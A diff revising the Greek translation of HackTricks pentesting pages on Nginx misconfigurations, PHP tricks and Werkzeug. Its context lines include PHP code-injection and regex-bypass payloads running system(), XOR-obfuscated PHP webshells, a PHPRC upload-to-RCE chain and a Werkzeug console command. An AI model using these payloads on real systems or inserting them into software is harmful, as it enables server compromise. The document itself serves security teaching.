+Ανακαλύφθηκε ότι τα **δεδομένα που παρέχονται από τον χρήστη** μπορεί να αντιμετωπίζονται ως **μεταβλητή Nginx** υπό ορισμένες συνθήκες. Η αιτία αυτής της συμπεριφοράς παραμένει κάπως ασαφής, ωστόσο δεν είναι σπάνια ούτε απλή η επαλήθευσή της. Αυτή η ανωμαλία επισημάνθηκε σε μια αναφορά ασφαλείας στο HackerOne, η οποία μπορεί να προβληθεί [εδώ](https://hackerone.com/reports/370094). Περεταίρω έρευνα στο μήνυμα σφάλματος οδήγησε στην αναγνώριση της εμφάνισής του μέσα στον [SSI filter module του κώδικα Nginx](https://github.com/nginx/nginx/blob/2187586207e1465d289ae64cedc829719a048a39/src/http/modules/ngx_http_ssi_filter_module.c#L365), προσδιορίζοντας τις Server Side Includes (SSI) ως την ρίζα του προβλήματος.

-Για να **ανιχνεύσετε αυτή τη λανθασμένη ρύθμιση**, μπορεί να εκτελεστεί η παρακάτω εντολή, η οποία περιλαμβάνει την ρύθμιση ενός referer header για τη δοκιμή εκτύπωσης μεταβλητών:
+Για να **ανιχνευθεί αυτή η κακή διαμόρφωση**, μπορεί να εκτελεστεί η παρακάτω εντολή, η οποία περιλαμβάνει την ρύθμιση ενός referer header για τη δοκιμή εκτύπωσης μεταβλητών:
 ```bash
 $ curl -H ‘Referer: bar’ http://localhost/foo$http_referer | grep ‘foobar’
 ```
@ -181,15 +181,15 @@ proxy_hide_header Secret-Header;

 ## merge\_slashes set to off

-Από προεπιλογή, η **`merge_slashes` οδηγία** του Nginx είναι ρυθμισμένη σε **`on`**, η οποία συμπιέζει πολλαπλούς προοδευτικούς χαρακτήρες (slashes) σε μια URL σε έναν μόνο χαρακτήρα. Αυτή η δυνατότητα, ενώ απλοποιεί την επεξεργασία URL, μπορεί ακούσια να αποκρύψει ευπάθειες σε εφαρμογές πίσω από το Nginx, ιδιαίτερα αυτές που είναι επιρρεπείς σε επιθέσεις τοπικής συμπερίληψης αρχείων (LFI). Οι ειδικοί ασφαλείας **Danny Robinson και Rotem Bar** έχουν επισημάνει τους πιθανούς κινδύνους που σχετίζονται με αυτή τη συμπεριφορά προεπιλογής, ειδικά όταν το Nginx λειτουργεί ως αντίστροφος διακομιστής (reverse-proxy).
+Από προεπιλογή, η **`merge_slashes` οδηγία** του Nginx είναι ρυθμισμένη σε **`on`**, η οποία συμπιέζει πολλαπλούς προοδευτικούς χαρακτήρες σε μια URL σε έναν μόνο χαρακτήρα. Αυτή η δυνατότητα, ενώ απλοποιεί την επεξεργασία URL, μπορεί ακούσια να αποκρύψει ευπάθειες σε εφαρμογές πίσω από το Nginx, ιδιαίτερα αυτές που είναι επιρρεπείς σε επιθέσεις τοπικής συμπερίληψης αρχείων (LFI). Οι ειδικοί ασφαλείας **Danny Robinson και Rotem Bar** έχουν επισημάνει τους πιθανούς κινδύνους που σχετίζονται με αυτή τη συμπεριφορά προεπιλογής, ειδικά όταν το Nginx λειτουργεί ως αντίστροφος διακομιστής.

-Για να μετριαστούν αυτοί οι κίνδυνοι, συνιστάται να **απενεργοποιήσετε την οδηγία `merge_slashes`** για εφαρμογές που είναι ευάλωτες σε αυτές τις ευπάθειες. Αυτό διασφαλίζει ότι το Nginx προωθεί τις αιτήσεις στην εφαρμογή χωρίς να αλλάζει τη δομή της URL, αποφεύγοντας έτσι την απόκρυψη οποιωνδήποτε υποκείμενων ζητημάτων ασφαλείας.
+Για να μετριαστούν τέτοιοι κίνδυνοι, συνιστάται να **απενεργοποιήσετε την οδηγία `merge_slashes`** για εφαρμογές που είναι ευάλωτες σε αυτές τις ευπάθειες. Αυτό διασφαλίζει ότι το Nginx προωθεί τις αιτήσεις στην εφαρμογή χωρίς να αλλάζει τη δομή της URL, αποφεύγοντας έτσι την απόκρυψη οποιωνδήποτε υποκείμενων ζητημάτων ασφαλείας.

 Για περισσότερες πληροφορίες, ελέγξτε [Danny Robinson και Rotem Bar](https://medium.com/appsflyer/nginx-may-be-protecting-your-applications-from-traversal-attacks-without-you-even-knowing-b08f882fd43d).

 ### **Maclicious Response Headers**

-Όπως φαίνεται σε [**αυτή την ανάλυση**](https://mizu.re/post/cors-playground), υπάρχουν ορισμένα headers που αν είναι παρόντα στην απάντηση από τον διακομιστή ιστού θα αλλάξουν τη συμπεριφορά του Nginx proxy. Μπορείτε να τα ελέγξετε [**στα έγγραφα**](https://www.nginx.com/resources/wiki/start/topics/examples/x-accel/):
+Όπως φαίνεται [**σε αυτή τη γραφή**](https://mizu.re/post/cors-playground), υπάρχουν ορισμένα headers που αν είναι παρόντα στην απάντηση από τον διακομιστή ιστού θα αλλάξουν τη συμπεριφορά του Nginx proxy. Μπορείτε να τα ελέγξετε [**στα docs**](https://www.nginx.com/resources/wiki/start/topics/examples/x-accel/):

 * `X-Accel-Redirect`: Υποδεικνύει στο Nginx να ανακατευθύνει εσωτερικά μια αίτηση σε μια καθορισμένη τοποθεσία.
 * `X-Accel-Buffering`: Ελέγχει αν το Nginx θα πρέπει να αποθηκεύει την απάντηση ή όχι.
@ -224,7 +224,7 @@ return 200 "Hello. It is private area: $mappocallow";

 ### **Ευπάθεια DNS Spoofing**

-Η DNS spoofing κατά του Nginx είναι εφικτή υπό ορισμένες συνθήκες. Εάν ένας επιτιθέμενος γνωρίζει τον **DNS server** που χρησιμοποιεί ο Nginx και μπορεί να παρεμποδίσει τα DNS ερωτήματα του, μπορεί να παραποιήσει τα DNS records. Αυτή η μέθοδος, ωστόσο, είναι αναποτελεσματική εάν ο Nginx είναι ρυθμισμένος να χρησιμοποιεί **localhost (127.0.0.1)** για την επίλυση DNS. Ο Nginx επιτρέπει την καθορισμένη ρύθμιση ενός DNS server ως εξής:
+Το DNS spoofing κατά του Nginx είναι εφικτό υπό ορισμένες συνθήκες. Εάν ένας επιτιθέμενος γνωρίζει τον **DNS server** που χρησιμοποιεί ο Nginx και μπορεί να παρεμποδίσει τα DNS queries του, μπορεί να παραποιήσει τα DNS records. Αυτή η μέθοδος, ωστόσο, είναι αναποτελεσματική εάν ο Nginx είναι ρυθμισμένος να χρησιμοποιεί **localhost (127.0.0.1)** για την επίλυση DNS. Ο Nginx επιτρέπει την καθορισμένη ρύθμιση ενός DNS server ως εξής:
 ```yaml
 resolver 8.8.8.8;
 ```
@ -261,7 +261,7 @@ deny all;
 }
 ```
 {% hint style="warning" %}
-Σημειώστε ότι ακόμη και αν το `proxy_pass` δείχνει σε μια συγκεκριμένη **διαδρομή** όπως `http://backend:9999/socket.io`, η σύνδεση θα γίνει με το `http://backend:9999`, οπότε μπορείτε να **επικοινωνήσετε με οποιαδήποτε άλλη διαδρομή μέσα σε αυτό το εσωτερικό endpoint. Έτσι, δεν έχει σημασία αν μια διαδρομή καθορίζεται στο URL του proxy_pass.**
+Σημειώστε ότι ακόμη και αν το `proxy_pass` δείχνει σε μια συγκεκριμένη **διαδρομή** όπως `http://backend:9999/socket.io`, η σύνδεση θα γίνει με το `http://backend:9999`, οπότε μπορείτε να **επικοινωνήσετε με οποιαδήποτε άλλη διαδρομή μέσα σε αυτό το εσωτερικό σημείο. Έτσι, δεν έχει σημασία αν μια διαδρομή καθορίζεται στη διεύθυνση URL του proxy_pass.**
 {% endhint %}

 ## Δοκιμάστε το μόνοι σας
@ -288,7 +288,7 @@ deny all;

 <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>

-#### Αποκτήστε την προοπτική ενός χάκερ για τις διαδικτυακές σας εφαρμογές, το δίκτυο και το cloud
+**Αποκτήστε μια προοπτική χάκερ για τις διαδικτυακές σας εφαρμογές, το δίκτυο και το cloud**

 **Βρείτε και αναφέρετε κρίσιμες, εκμεταλλεύσιμες ευπάθειες με πραγματικό επιχειρηματικό αντίκτυπο.** Χρησιμοποιήστε τα 20+ προσαρμοσμένα εργαλεία μας για να χαρτογραφήσετε την επιφάνεια επίθεσης, να βρείτε ζητήματα ασφαλείας που σας επιτρέπουν να κλιμακώσετε προνόμια και να χρησιμοποιήσετε αυτοματοποιημένες εκμεταλλεύσεις για να συλλέξετε βασικά αποδεικτικά στοιχεία, μετατρέποντας τη σκληρή σας δουλειά σε πειστικές αναφορές.

--- a/network-services-pentesting/pentesting-web/php-tricks-esp/README.md
+++ b/network-services-pentesting/pentesting-web/php-tricks-esp/README.md
@ -9,7 +9,7 @@
 <summary>Υποστήριξη HackTricks</summary>

 * Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
-* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Εγγραφείτε στο** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) ή στο [**telegram group**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
 * **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.

 </details>
@ -17,9 +17,9 @@

 <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>

-#### Αποκτήστε την προοπτική ενός hacker για τις εφαρμογές σας, το δίκτυο και το cloud
+**Αποκτήστε την προοπτική ενός hacker για τις εφαρμογές σας, το δίκτυο και το cloud**

-**Βρείτε και αναφέρετε κρίσιμες, εκμεταλλεύσιμες ευπάθειες με πραγματικό επιχειρηματικό αντίκτυπο.** Χρησιμοποιήστε τα 20+ προσαρμοσμένα εργαλεία μας για να χαρτογραφήσετε την επιφάνεια επίθεσης, να βρείτε ζητήματα ασφαλείας που σας επιτρέπουν να κλιμακώσετε προνόμια και να χρησιμοποιήσετε αυτοματοποιημένες εκμεταλλεύσεις για να συλλέξετε βασικά αποδεικτικά στοιχεία, μετατρέποντας τη σκληρή δουλειά σας σε πειστικές αναφορές.
+**Βρείτε και αναφέρετε κρίσιμες, εκμεταλλεύσιμες ευπάθειες με πραγματικό επιχειρηματικό αντίκτυπο.** Χρησιμοποιήστε τα 20+ προσαρμοσμένα εργαλεία μας για να χαρτογραφήσετε την επιφάνεια επίθεσης, να βρείτε ζητήματα ασφαλείας που σας επιτρέπουν να κλιμακώσετε προνόμια και να χρησιμοποιήσετε αυτοματοποιημένα exploits για να συλλέξετε βασικά αποδεικτικά στοιχεία, μετατρέποντας τη σκληρή δουλειά σας σε πειστικές αναφορές.

 {% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}

@ -43,7 +43,7 @@ Example: ../../../../../../tmp/sess_d1d531db62523df80e1153ada1d4b02e

 ### Χαλαρές συγκρίσεις/Τύπος Juggling ( == )

-Αν χρησιμοποιηθεί το `==` στο PHP, τότε υπάρχουν απρόσμενες περιπτώσεις όπου η σύγκριση δεν συμπεριφέρεται όπως αναμένεται. Αυτό συμβαίνει επειδή το "==" συγκρίνει μόνο τιμές που έχουν μετατραπεί στον ίδιο τύπο, αν θέλετε επίσης να συγκρίνετε ότι ο τύπος των συγκρινόμενων δεδομένων είναι ο ίδιος, πρέπει να χρησιμοποιήσετε το `===`.
+Αν χρησιμοποιηθεί το `==` στην PHP, τότε υπάρχουν απρόσμενες περιπτώσεις όπου η σύγκριση δεν συμπεριφέρεται όπως αναμένεται. Αυτό συμβαίνει επειδή το "==" συγκρίνει μόνο τιμές που έχουν μετατραπεί στον ίδιο τύπο, αν θέλετε επίσης να συγκρίνετε ότι ο τύπος των συγκρινόμενων δεδομένων είναι ο ίδιος, πρέπει να χρησιμοποιήσετε το `===`.

 Πίνακες συγκρίσεων PHP: [https://www.php.net/manual/en/types.comparisons.php](https://www.php.net/manual/en/types.comparisons.php)

@ -79,11 +79,11 @@ if (!strcmp("real_pwd","real_pwd")) { echo "Real Password"; } else { echo "No Re
 if (!strcmp(array(),"real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
 // Real Password
 ```
-Το ίδιο σφάλμα συμβαίνει με `strcasecmp()`
+Το ίδιο σφάλμα συμβαίνει με το `strcasecmp()`

 ### Αυστηρός χειρισμός τύπων

-Ακόμα και αν `===` **χρησιμοποιείται** μπορεί να υπάρχουν σφάλματα που καθιστούν τη **σύγκριση ευάλωτη** σε **χειρισμό τύπων**. Για παράδειγμα, αν η σύγκριση **μετατρέπει τα δεδομένα σε διαφορετικό τύπο αντικειμένου πριν από τη σύγκριση**:
+Ακόμα και αν το `===` **χρησιμοποιείται** μπορεί να υπάρχουν σφάλματα που καθιστούν τη **σύγκριση ευάλωτη** σε **χειρισμό τύπων**. Για παράδειγμα, αν η σύγκριση **μετατρέπει τα δεδομένα σε διαφορετικό τύπο αντικειμένου πριν από τη σύγκριση**:
 ```php
 (int) "1abc" === (int) "1xyz" //This will be true
 ```
@ -106,7 +106,7 @@ echo preg_match("/^.*1/",$myinput);
 echo preg_match("/^.*1.*$/",$myinput);
 //0  --> In this scenario preg_match DOESN'T find the char "1"
 ```
-Για να παρακάμψετε αυτόν τον έλεγχο, μπορείτε να **στείλετε την τιμή με νέες γραμμές urlencoded** (`%0A`) ή αν μπορείτε να στείλετε **δεδομένα JSON**, στείλτε τα σε **πολλές γραμμές**:
+Για να παρακάμψετε αυτήν την έλεγχο μπορείτε να **στείλετε την τιμή με νέες γραμμές urlencoded** (`%0A`) ή αν μπορείτε να στείλετε **δεδομένα JSON**, στείλτε τα σε **πολλές γραμμές**:
 ```php
 {
 "cmd": "cat /etc/passwd"
@ -134,8 +134,7 @@ Trick from: [https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-
 [Αυτή η συζήτηση στο Stackoverflow](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error) συνδέθηκε επίσης στην ανάρτηση όπου συζητείται πιο αναλυτικά αυτό το ζήτημα. Η αποστολή μας ήταν τώρα σαφής:\
 **Στείλτε μια είσοδο που θα κάνει την κανονική έκφραση να εκτελέσει 100\_000+ αναδρομές, προκαλώντας SIGSEGV, κάνοντάς την `preg_match()` να επιστρέψει `false`, κάνοντάς την εφαρμογή να πιστέψει ότι η είσοδός μας δεν είναι κακόβουλη, ρίχνοντας την έκπληξη στο τέλος του payload κάτι σαν `{system(<verybadcommand>)}` για να αποκτήσουμε SSTI --> RCE --> flag :)**.

-Λοιπόν, σε όρους regex, στην πραγματικότητα δεν κάνουμε 100k "αναδρομές", αλλά μετράμε "βήματα οπισθοχώρησης", τα οποία όπως δηλώνει η [τεκμηρίωση PHP](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) προεπιλέγεται σε 1\_000\_000 (1M) στη μεταβλητή `pcre.backtrack_limit`.\
-Για να φτάσουμε σε αυτό, `'X'*500_001` θα έχει ως αποτέλεσμα 1 εκατομμύριο βήματα οπισθοχώρησης (500k προς τα εμπρός και 500k προς τα πίσω):
+Λοιπόν, σε όρους regex, στην πραγματικότητα δεν κάνουμε 100k "αναδρομές", αλλά μετράμε "βήματα οπισθοχώρησης", τα οποία όπως δηλώνει η [τεκμηρίωση PHP](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) προεπιλέγεται σε 1\_000\_000 (1M) στη μεταβλητή `pcre.backtrack_limit`.\ Για να φτάσουμε σε αυτό, `'X'*500_001` θα έχει ως αποτέλεσμα 1 εκατομμύριο βήματα οπισθοχώρησης (500k προς τα εμπρός και 500k προς τα πίσω):
 ```python
 payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}"
 ```
@ -152,7 +151,7 @@ $obfs += ""; //int 7
 ```
 ## Execute After Redirect (EAR)

-Αν το PHP ανακατευθύνει σε άλλη σελίδα αλλά καμία **`die`** ή **`exit`** συνάρτηση δεν είναι **καλεσμένη μετά την κεφαλίδα `Location`**, το PHP συνεχίζει να εκτελεί και να προσθέτει τα δεδομένα στο σώμα:
+Αν το PHP ανακατευθύνει σε άλλη σελίδα αλλά καμία **`die`** ή **`exit`** συνάρτηση δεν καλείται μετά την κεφαλίδα `Location`, το PHP συνεχίζει να εκτελεί και να προσθέτει τα δεδομένα στο σώμα:
 ```php
 <?php
 // In this page the page will be read and the content appended to the body of
@ -172,9 +171,9 @@ Check:

 ## More tricks

-* **register\_globals**: Στο **PHP < 4.1.1.1** ή αν είναι κακορυθμισμένο, **register\_globals** μπορεί να είναι ενεργό (ή η συμπεριφορά του να μιμείται). Αυτό σημαίνει ότι σε παγκόσμιες μεταβλητές όπως $\_GET αν έχουν μια τιμή π.χ. $\_GET\["param"]="1234", μπορείτε να έχετε πρόσβαση σε αυτή μέσω του **$param. Επομένως, στέλνοντας HTTP παραμέτρους μπορείτε να αντικαταστήσετε μεταβλητές** που χρησιμοποιούνται μέσα στον κώδικα.
-* Τα **PHPSESSION cookies του ίδιου τομέα αποθηκεύονται στην ίδια θέση**, επομένως αν μέσα σε έναν τομέα **χρησιμοποιούνται διαφορετικά cookies σε διαφορετικές διαδρομές** μπορείτε να κάνετε μια διαδρομή **να έχει πρόσβαση στο cookie της άλλης διαδρομής** ρυθμίζοντας την τιμή του cookie της άλλης διαδρομής.\
-Με αυτόν τον τρόπο αν **και οι δύο διαδρομές έχουν πρόσβαση σε μια μεταβλητή με το ίδιο όνομα** μπορείτε να κάνετε την **τιμή αυτής της μεταβλητής στη διαδρομή1 να ισχύει για τη διαδρομή2**. Και τότε η διαδρομή2 θα θεωρεί έγκυρες τις μεταβλητές της διαδρομής1 (δίνοντας στο cookie το όνομα που αντιστοιχεί σε αυτό στη διαδρομή2).
+* **register\_globals**: Στο **PHP < 4.1.1.1** ή αν είναι κακορυθμισμένο, **register\_globals** μπορεί να είναι ενεργό (ή η συμπεριφορά του να μιμείται). Αυτό σημαίνει ότι σε παγκόσμιες μεταβλητές όπως $\_GET αν έχουν μια τιμή π.χ. $\_GET\["param"]="1234", μπορείτε να την αποκτήσετε μέσω του **$param. Επομένως, στέλνοντας HTTP παραμέτρους μπορείτε να αντικαταστήσετε μεταβλητές** που χρησιμοποιούνται μέσα στον κώδικα.
+* Τα **PHPSESSION cookies του ίδιου τομέα αποθηκεύονται στην ίδια θέση**, επομένως αν μέσα σε έναν τομέα **χρησιμοποιούνται διαφορετικά cookies σε διαφορετικές διαδρομές** μπορείτε να κάνετε μια διαδρομή **να αποκτά πρόσβαση στο cookie της άλλης διαδρομής** ρυθμίζοντας την τιμή του cookie της άλλης διαδρομής.\
+Με αυτόν τον τρόπο αν **και οι δύο διαδρομές αποκτούν πρόσβαση σε μια μεταβλητή με το ίδιο όνομα** μπορείτε να κάνετε την **τιμή αυτής της μεταβλητής στη διαδρομή1 να ισχύει για τη διαδρομή2**. Και τότε η διαδρομή2 θα θεωρεί έγκυρες τις μεταβλητές της διαδρομής1 (δίνοντας στο cookie το όνομα που αντιστοιχεί σε αυτό στη διαδρομή2).
 * Όταν έχετε τα **ονόματα χρηστών** των χρηστών της μηχανής. Ελέγξτε τη διεύθυνση: **/\~\<USERNAME>** για να δείτε αν οι php κατάλογοι είναι ενεργοποιημένοι.
 * [**LFI and RCE using php wrappers**](../../../pentesting-web/file-inclusion/)

@ -193,7 +192,7 @@ True

 #### Causing error after setting headers

-Από [**αυτήν την ανάρτηση στο Twitter**](https://twitter.com/pilvar222/status/1784618120902005070?t=xYn7KdyIvnNOlkVaGbgL6A\&s=19) μπορείτε να δείτε ότι στέλνοντας περισσότερες από 1000 παραμέτρους GET ή 1000 παραμέτρους POST ή 20 αρχεία, το PHOP δεν θα ρυθμίσει τις κεφαλίδες στην απόκριση.
+Από [**αυτήν την συνομιλία στο Twitter**](https://twitter.com/pilvar222/status/1784618120902005070?t=xYn7KdyIvnNOlkVaGbgL6A\&s=19) μπορείτε να δείτε ότι στέλνοντας περισσότερες από 1000 παραμέτρους GET ή 1000 παραμέτρους POST ή 20 αρχεία, το PHP δεν θα ρυθμίσει τις κεφαλίδες στην απόκριση.

 Επιτρέποντας να παρακαμφθούν, για παράδειγμα, οι κεφαλίδες CSP που ρυθμίζονται σε κώδικες όπως:
 ```php
@ -203,7 +202,7 @@ if (isset($_GET["xss"])) echo $_GET["xss"];
 ```
 #### Συμπλήρωση ενός σώματος πριν από την ρύθμιση των κεφαλίδων

-Αν μια **σελίδα PHP εκτυπώνει σφάλματα και επιστρέφει κάποια είσοδο που παρέχεται από τον χρήστη**, ο χρήστης μπορεί να κάνει τον PHP server να εκτυπώσει κάποια **περιεχόμενα αρκετά μεγάλα** ώστε όταν προσπαθήσει να **προσθέσει τις κεφαλίδες** στην απάντηση, ο server να ρίξει ένα σφάλμα.\
+Εάν μια **σελίδα PHP εκτυπώνει σφάλματα και επιστρέφει κάποια είσοδο που παρέχεται από τον χρήστη**, ο χρήστης μπορεί να κάνει τον PHP server να εκτυπώσει κάποια **περιεχόμενα αρκετά μεγάλα** ώστε όταν προσπαθήσει να **προσθέσει τις κεφαλίδες** στην απάντηση, ο server να ρίξει ένα σφάλμα.\
 Στο παρακάτω σενάριο, ο **επιτιθέμενος έκανε τον server να ρίξει κάποια μεγάλα σφάλματα**, και όπως μπορείτε να δείτε στην οθόνη, όταν η PHP προσπάθησε να **τροποποιήσει τις πληροφορίες κεφαλίδας, δεν μπόρεσε** (έτσι για παράδειγμα η κεφαλίδα CSP δεν στάλθηκε στον χρήστη):

 ![](<../../../.gitbook/assets/image (1085).png>)
@ -247,7 +246,7 @@ preg_replace("/a/e","phpinfo()","whatever")
 ```
 ?page=a','NeVeR') === false and system('ls') and strpos('a
 ```
-Θα χρειαστεί να **σπάσετε** τη **σύνταξη** του κώδικα, **να προσθέσετε** το **payload** σας και στη συνέχεια **να το διορθώσετε ξανά**. Μπορείτε να χρησιμοποιήσετε **λογικές λειτουργίες** όπως "**and" ή "%26%26" ή "|"**. Σημειώστε ότι "or", "||" δεν λειτουργούν γιατί αν η πρώτη συνθήκη είναι αληθής, το payload μας δεν θα εκτελεστεί. Με τον ίδιο τρόπο, το ";" δεν λειτουργεί καθώς το payload μας δεν θα εκτελεστεί.
+Θα χρειαστεί να **σπάσετε** τη **σύνταξη** του κώδικα, να **προσθέσετε** το **payload** σας και στη συνέχεια να το **διορθώσετε ξανά**. Μπορείτε να χρησιμοποιήσετε **λογικές λειτουργίες** όπως "**and" ή "%26%26" ή "|"**. Σημειώστε ότι "or", "||" δεν λειτουργεί γιατί αν η πρώτη συνθήκη είναι αληθής το payload μας δεν θα εκτελεστεί. Με τον ίδιο τρόπο, το ";" δεν λειτουργεί καθώς το payload μας δεν θα εκτελεστεί.

 **Άλλη επιλογή** είναι να προσθέσετε στη συμβολοσειρά την εκτέλεση της εντολής: `'.highlight_file('.passwd').'`

@ -276,7 +275,7 @@ function foo($x,$y){
 usort();}phpinfo;#, "cmp");
 }?>
 ```
-Μπορείτε επίσης να χρησιμοποιήσετε **//** για να σχολιάσετε το υπόλοιπο του κώδικα.
+You can also use **//** για να σχολιάσετε το υπόλοιπο του κώδικα.

 Για να ανακαλύψετε τον αριθμό των παρενθέσεων που πρέπει να κλείσετε:

@ -288,7 +287,7 @@ usort();}phpinfo;#, "cmp");

 Αν μπορείτε να **ανεβάσετε** ένα **.htaccess**, τότε μπορείτε να **ρυθμίσετε** διάφορα πράγματα και ακόμη και να εκτελέσετε κώδικα (ρυθμίζοντας ότι τα αρχεία με επέκταση .htaccess μπορούν να **εκτελούνται**).

-Διαφορετικά shells .htaccess μπορούν να βρεθούν [εδώ](https://github.com/wireghoul/htshells)
+Διαφορετικά .htaccess shells μπορούν να βρεθούν [εδώ](https://github.com/wireghoul/htshells)

 ### RCE μέσω Env Variables

@ -296,7 +295,7 @@ usort();}phpinfo;#, "cmp");

 * [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/#ld\_preload-and-ld\_library\_path): Αυτή η env variable σας επιτρέπει να φορτώνετε αυθαίρετες βιβλιοθήκες κατά την εκτέλεση άλλων δυαδικών αρχείων (αν και σε αυτή την περίπτωση μπορεί να μην λειτουργήσει).
 * **`PHPRC`** : Δίνει οδηγίες στο PHP για **πού να εντοπίσει το αρχείο ρύθμισης** του, συνήθως ονομάζεται `php.ini`. Αν μπορείτε να ανεβάσετε το δικό σας αρχείο ρύθμισης, τότε, χρησιμοποιήστε το `PHPRC` για να δείξετε στο PHP σε αυτό. Προσθέστε μια είσοδο **`auto_prepend_file`** που να καθορίζει ένα δεύτερο ανεβασμένο αρχείο. Αυτό το δεύτερο αρχείο περιέχει κανονικό **PHP κώδικα, ο οποίος εκτελείται** από το PHP runtime πριν από οποιονδήποτε άλλο κώδικα.
-1. Ανεβάστε ένα αρχείο PHP που περιέχει τον κώδικα shell μας
+1. Ανεβάστε ένα αρχείο PHP που περιέχει τον κώδικά μας
 2. Ανεβάστε ένα δεύτερο αρχείο, που περιέχει μια οδηγία **`auto_prepend_file`** που δίνει εντολή στον προεπεξεργαστή PHP να εκτελέσει το αρχείο που ανεβάσαμε στο βήμα 1
 3. Ρυθμίστε τη μεταβλητή `PHPRC` στο αρχείο που ανεβάσαμε στο βήμα 2.
 * Αποκτήστε περισσότερες πληροφορίες σχετικά με το πώς να εκτελέσετε αυτή την αλυσίδα [**από την αρχική αναφορά**](https://labs.watchtowr.com/cve-2023-36844-and-friends-rce-in-juniper-firewalls/).
@ -335,7 +334,7 @@ phpinfo();
 ```php
 (1)->{system($_GET[chr(97)])}
 ```
-## PHP Static analysis
+## PHP Στατική ανάλυση

 Κοίτα αν μπορείς να εισάγεις κώδικα σε κλήσεις αυτών των συναρτήσεων (από [εδώ](https://www.youtube.com/watch?v=SyWUsN0yHKI\&feature=youtu.be)):
 ```php
@ -394,7 +393,7 @@ $_($___); #If ¢___ not needed then $_($__), show_source(.passwd)
 ```
 ### XOR easy shell code

-Σύμφωνα με [**αυτή την αναφορά** ](https://mgp25.com/ctf/Web-challenge/) είναι δυνατόν να παραχθεί ένα εύκολο shellcode με αυτόν τον τρόπο:
+Σύμφωνα με [**αυτή την αναφορά**](https://mgp25.com/ctf/Web-challenge/) είναι δυνατόν να παραχθεί ένα εύκολο shellcode με αυτόν τον τρόπο:
 ```php
 $_="`{{{"^"?<>/"; // $_ = '_GET';
 ${$_}[_](${$_}[__]); // $_GET[_]($_GET[__]);
@ -470,9 +469,9 @@ $___($_[_]); // ASSERT($_POST[_]);
 ```
 <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>

-#### Αποκτήστε την προοπτική ενός χάκερ για τις διαδικτυακές σας εφαρμογές, το δίκτυο και το cloud
+**Αποκτήστε την προοπτική ενός χάκερ για τις διαδικτυακές σας εφαρμογές, το δίκτυο και το cloud**

-**Βρείτε και αναφέρετε κρίσιμες, εκμεταλλεύσιμες ευπάθειες με πραγματικό επιχειρηματικό αντίκτυπο.** Χρησιμοποιήστε τα 20+ προσαρμοσμένα εργαλεία μας για να χαρτογραφήσετε την επιφάνεια επίθεσης, να βρείτε ζητήματα ασφαλείας που σας επιτρέπουν να κλιμακώσετε τα δικαιώματα και να χρησιμοποιήσετε αυτοματοποιημένα exploits για να συλλέξετε βασικά αποδεικτικά στοιχεία, μετατρέποντας τη σκληρή σας δουλειά σε πειστικές αναφορές.
+**Βρείτε και αναφέρετε κρίσιμες, εκμεταλλεύσιμες ευπάθειες με πραγματικό επιχειρηματικό αντίκτυπο.** Χρησιμοποιήστε τα 20+ προσαρμοσμένα εργαλεία μας για να χαρτογραφήσετε την επιφάνεια επίθεσης, να βρείτε ζητήματα ασφαλείας που σας επιτρέπουν να κλιμακώσετε προνόμια και να χρησιμοποιήσετε αυτοματοποιημένες εκμεταλλεύσεις για να συλλέξετε βασικά αποδεικτικά στοιχεία, μετατρέποντας τη σκληρή σας δουλειά σε πειστικές αναφορές.

 {% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}

--- a/network-services-pentesting/pentesting-web/werkzeug.md
+++ b/network-services-pentesting/pentesting-web/werkzeug.md
@ -17,7 +17,7 @@

 <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>

-#### Αποκτήστε την προοπτική ενός hacker για τις εφαρμογές σας, το δίκτυο και το cloud
+**Αποκτήστε την προοπτική ενός hacker για τις εφαρμογές σας, το δίκτυο και το cloud**

 **Βρείτε και αναφέρετε κρίσιμες, εκμεταλλεύσιμες ευπάθειες με πραγματικό επιχειρηματικό αντίκτυπο.** Χρησιμοποιήστε τα 20+ προσαρμοσμένα εργαλεία μας για να χαρτογραφήσετε την επιφάνεια επίθεσης, να βρείτε ζητήματα ασφαλείας που σας επιτρέπουν να κλιμακώσετε τα προνόμια και να χρησιμοποιήσετε αυτοματοποιημένα exploits για να συλλέξετε βασικά αποδεικτικά στοιχεία, μετατρέποντας τη σκληρή δουλειά σας σε πειστικές αναφορές.

@ -25,7 +25,7 @@

 ## Console RCE

-Εάν είναι ενεργοποιημένο το debug, μπορείτε να προσπαθήσετε να αποκτήσετε πρόσβαση στο `/console` και να αποκτήσετε RCE.
+Εάν η αποσφαλμάτωση είναι ενεργή, μπορείτε να προσπαθήσετε να αποκτήσετε πρόσβαση στο `/console` και να αποκτήσετε RCE.
 ```python
 __import__('os').popen('whoami').read();
 ```
@ -39,13 +39,13 @@ __import__('os').popen('whoami').read();

 ### Werkzeug Console PIN Exploit

-Αναγκάστε μια σελίδα σφάλματος αποσφαλμάτωσης στην εφαρμογή για να δείτε αυτό:
+Επιβάλετε μια σελίδα σφάλματος αποσφαλμάτωσης στην εφαρμογή για να δείτε αυτό:
 ```
 The console is locked and needs to be unlocked by entering the PIN.
